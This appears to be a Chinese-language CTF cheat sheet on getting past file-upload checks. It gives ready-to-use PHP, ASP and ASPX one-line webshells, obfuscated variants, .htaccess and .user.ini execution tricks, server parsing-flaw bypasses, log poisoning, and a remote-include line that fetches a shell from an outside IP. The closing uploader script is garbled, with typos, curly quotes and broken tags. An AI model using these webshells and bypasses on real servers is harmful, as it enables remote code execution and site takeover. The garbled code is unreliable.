文件上传
反正就这么多
- 客户端绕过:抓包、改包
- 服务端绕过:文件类型、文件头、文件后缀
- 配合文件包含漏洞绕过
- 配合服务器解析漏洞绕过
- CMS、编辑器漏洞绕过
- 配合操作系统文件命名规则绕过
- 配合其他规则绕过
- WAF绕过
CTF比赛考察的知识点主要是绕过验证, 难点是WAF的绕过; 如果常规方法都失败了, 就可以去找网上找找已公布的上传漏洞的相关信息
木马
一句话木马
// php一句话
<?php @eval($_POST['1']); ?>
// js一句话
GIF89a?
<script language="php">eval($_POST["2333"]);</script>
<script language="php"> echo `$_POST[shell]`;</script>
// 短标签
<?=eval($_POST['a']);?>
<?=phpinfo();?>
// 无分号
<?=eval(array_pop($_POST))?>
// asp一句话
<%eval requset("cmd")%>
// aspx一句话
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>
// 关键词绕过:php
GIF89a
<?php
$a = str_replace("b", "", "absbsbebrbt");
$a($_POST['x']);
?>常见的四种头:
<?php ?>
<? ?>
<% %>
<script language="php"> </script>文件解析漏洞
Apache
从右向左解析,直到遇到可解析的后缀( 特性 )
只有当配置文件存在AddHandler application/x-httpd-php .php,才会有解析漏洞
Nginx
低版本可以在任意文件名后添加%00.php进行攻击
高版本和IIS 7.5一样,但是需要开启允许解析其他格式文件为PHP,否则会报错
/etc/php5/fpm/pool.d/www.conf 的 security.limit_extensionsTomcat
远程代码执行 CVE-2017-12615
在配置文件web.xml中,servlet配置readonly=false会引发任意文件上传漏洞
IIS
可处理.asp,.cer,.asa
IIS 6.0在处理含有特殊符号的文件路径会出现逻辑错误
/test.asp/test.jpg
// 新建test.asp目录,这个目录任何文件都被当作asp程序执行
test.asp;.jpg
// 被 ; 影响,依然会被当作asp执行IIS 7.5
url后缀中带有 .php 就交给 php 处理,修饰之后去掉 /.php,如果修饰后此文件存在,将该文件作为php程序执行
test.jpg/.php绕过
常见后缀黑白名单
函数pathinfo()获取文件后缀
Blacklist:
php/ php2/ php3/ php4/ php5/ pht/ asp/ aspx/ ascx/ jsp/ bat/ exe/ dll
Whitelist:
jpg/ png/ gif/ doc/ docx/ xls
其他:
phtml/前端检验绕过
- 删除浏览器事件
过滤原理: 调用selectFile()将文件名转换为小写,通过substr()获取文件名后缀(包括点)进行判断
<form
action="upload.php"
method="post"
enctype="multipart/form-data"
onsubmit="return selectFile()"
>
// 删掉return selectFile()
</form>- bp抓包修改后缀
仅仅在前端检测了文件后缀, 后缀并没有检测包
- 构造上传表单
- 禁用js等
后端检验绕过
原理: 后缀名检测 MIME类型检测 文件内容检测 00截断检测 条件竞争检测
后缀名黑名单
- 大小写绕过: php -> pHp
- 换后缀: 有些中间件可以解析其他后缀,asa,cer; 或者在httpd.conf配置文件添加配置
AddType application/x-httpd-php .php
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .phtml- Windows特性: windows会自己修改不被允许的文件,所以部分情况一样可以解析为php:
| 描述 | 例子 |
|---|---|
| 末尾加点 | 1.php. |
| 末尾加空格 | 1.php |
加::$DATA | 1.php::$DATA |
后缀名白名单
常常配合文件包含或解析漏洞
- MIME修改
- %00,0x00截断
MIME类型绕过
后端获取特征:
$_FILES["file"]["type"] != "image/jpeg"| 文件扩展名 | Mime-Type |
|---|---|
| .js | application/x-javascript |
| .html | text/html |
| .jpg | image/jpeg |
| .png | image/png |
| application/pdf |
抓包, 在Content-Type处修改MIME即可, 一般都会有
文件幻数检测
原理
()获取图片宽高等信息,如果不是图片则没有信息; 即检测文件幻数
文件幻数:
JPG: FF D8 FF E0 00 10 4A 46 49 46
GIF: 47 49 46 38 39 61 // GIF89a
PNG: 89 50 4E 47
JPEG: FF D8 FF
PNG: 89 50 4E 47 0D 0A 1A 0A
PDF: 25 50 44 46 2D // 表示%PDF-
ZIP: 50 4B 03 04
Windows可执行文件:4D 5A // 表示MZ
TIFF:49 49 2A 00 或 4D 4D 00 2AWinhex在文件头部补充即可, 又叫做文件头检测
文件内容检测
检查不能有特定符号和字符串, 比如php, 括号等
通常利用配置文件加上短标签绕过, 这里给出一些例子:
| 检测 | 绕过 |
|---|---|
| php | 配置文件/短标签 |
| 中括号 | 大括号 |
| 分号 | 更换木马/直接执行命令 |
直接执行命令例子如下:
<?=system("tac /var/www/html/flag.php")?>
<?=system("tac ../flag.php")?>其他方法
00截断
原理: 即chr(0),程序把它当成了结束符号
php版本小于5.3.4 magic_quotes_gpc为OFF
phar文件上传
配置文件上传
.htaccess
条件: httpd.conf 中 AllowOverride 参数为 All, 即允许.htaccess文件覆盖掉 Apache 的配置
SetHandler application/x-httpd-php
SetHandler application/x-httpd-php .jpg
// 将内容符合php语法规则的文件当作php文件解析, shell.jpg 会被执行
AddHandler php5-script .php
// 匹配文件名中的关键字, shell.php.png会被执行
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
// 匹配文件名字.user.ini
条件: 当前目录下有php文件才会启用用户INI文件
常见的利用方法是利用可访问的文件去包含新上传的木马, 可用配置项目如下:
- auto_append_file
- auto_prepend_file
区别在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(文件末尾有exit()时该设置无效)
下面是一个例子, 传入之后再次上传shell.jpg会被自动包含
auto_prepend_file=shell.jpg
文件包含
- 日志包含
利用配置文件上传使得日志被包含, 然后就是构造UA头再次访问, 直接getshell
可以用的木马:
<?=include '/var/l'.'og/nginx/access.l'.'og'?>或者直接在配置文件里面写: .user.ini
auto_prepend_file=/var/log/nginx/access.log
# 下面这个有时候可以用在其他地方
auto_append_file=php://input- 远程文件包含
同日志包含, 这个也就是改改木马; 如果点也被过滤, 可以用长数字ip: 转换网址
<?=include"http://数字IP/shell"?>条件竞争
绕过原理: 删除之前访问未删除的文件,生成真正使用的木马
上传上去的文件马上就被删除了, 假如上传目录可以被访问/包含, 那就可以用条件竞争; 比较推荐使用脚本语言写脚本
<?php fputs(foprn('../shell.php','w'),'<?php phpinfo();?>'); ?>图片二次渲染
直接看ctfshow web164
文件下载
有些网站下载的方法是进行文件包含(download?file=...), 可以先上传一个文件末尾增加了一句话的木马文件, 抓下载包就可以执行命令了
极端情况
如果真没有办法上传, 但是可以写新文件或更改现有页面(网站后台), 试试以下代码
<?php
if ($_FTLES[ "file" ] [ "error"] > 0)
{
echo "错误:" . $_FILES[ "file" ][ "error"] . "<br>"; // 判断是否有错误
}
else
{
echo "上传文件名;”. $_FILES[ "file" ][" name " ] . "<br>";
echo“文件类型:“ . S_FILES[ "file" ] [ "type"] . “<br>";
echo "文件大小:”. ($_FILES[ "file" ] [ "size" ] / 1024) . " kB<br>"; //输出一些对应的信息
echo "文件临时存储的位置:”. $_FILES[ "file"]["tmp_name " ];
if (file_exists( " upload:" . $_FILES[ "filc" ] [ " name" ] ) )
{
echo $_FILES["file" ][ "name" ] .”文件已经存在。“; //判断是否有同名文件
)
else
{
//如果 upload目求不存在该文件则将文件上传到upload目录下
move_uploaded_file($_FILES[ "file' ] [ " tmp_name" ],"upload/" . $_FILES[ " file" ][ " name" ) );
echo "文件存储在:” . "upload/" . $_FILES[ "file" ] [ "name " ] ;
} //输出位置
}
?><html>
<head>
<meta charset="utf-8">
<title>文件上传</title> //inpuut type类型必须为file
< / head>
<body>
<form action="upload_file.php " method="post" enctype="multipart/form-data">
<label for="file" >文件名: < /label>
<input type="file" name="file" id="file" o<br>
<input type= "submit" name="submit" value="提交">
< /form>
</body>
</html>其他抽象方法
一般通过上网收集
- 一篇关于某CMS上传漏洞的文章, 这个漏洞没有修改ContentType的内容, 而是修改了HTTP头的Content-Type的内容; 只要修改首字母的大小写,就可以上传了